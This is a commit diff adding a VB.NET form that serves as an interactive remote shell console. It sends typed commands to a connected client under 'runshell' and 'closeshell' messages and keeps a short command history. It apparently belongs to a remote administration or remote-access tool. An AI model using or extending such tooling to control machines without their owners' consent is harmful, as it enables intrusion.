initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,64 @@
+Imports System.Threading
+Public Class Shell
+
+    Public C As Client
+    Private int_0 As Integer = 0
+    Private int_1 As Integer = 0
+    Private string_1 As String() = New String(5 - 1) {}
+
+    Private Sub TEST_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Dim B As Byte() = SB("R/")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
+        Try
+            If Not C.IsConnected Then
+                Close()
+            End If
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Sub
+
+    Private Sub TEST_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
+        Dim B As Byte() = SB("closeshell")
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+    End Sub
+
+    Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
+        Select Case e.KeyCode
+            Case Keys.Enter
+                e.SuppressKeyPress = True
+                Dim Text As String = Guna2TextBox1.Text
+                If Text.Length > 0 Then
+                    string_1(int_1) = [Text]
+                    int_1 += 1
+                    If (int_1 > (string_1.Length - 1)) Then
+                        int_1 = 0
+                    End If
+                    Dim B As Byte() = SB("runshell" & SettingsHelper.SPL & Guna2TextBox1.Text)
+                    ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+                    If Text = "cls" Then
+                        Guna2TextBox2.Clear()
+                    End If
+                    Guna2TextBox1.Clear()
+                End If
+                Exit Select
+            Case Keys.Down
+                int_0 = (int_0 + -1)
+                If (int_0 < 0) Then
+                    int_0 = 0
+                End If
+                Guna2TextBox1.Text = string_1(int_0)
+                Exit Select
+            Case Keys.Up
+                int_0 += 1
+                If (int_0 > (string_1.Length - 1)) Then
+                    int_0 = (string_1.Length - 1)
+                End If
+                Guna2TextBox1.Text = string_1(int_0)
+                Exit Select
+        End Select
+    End Sub
+End Class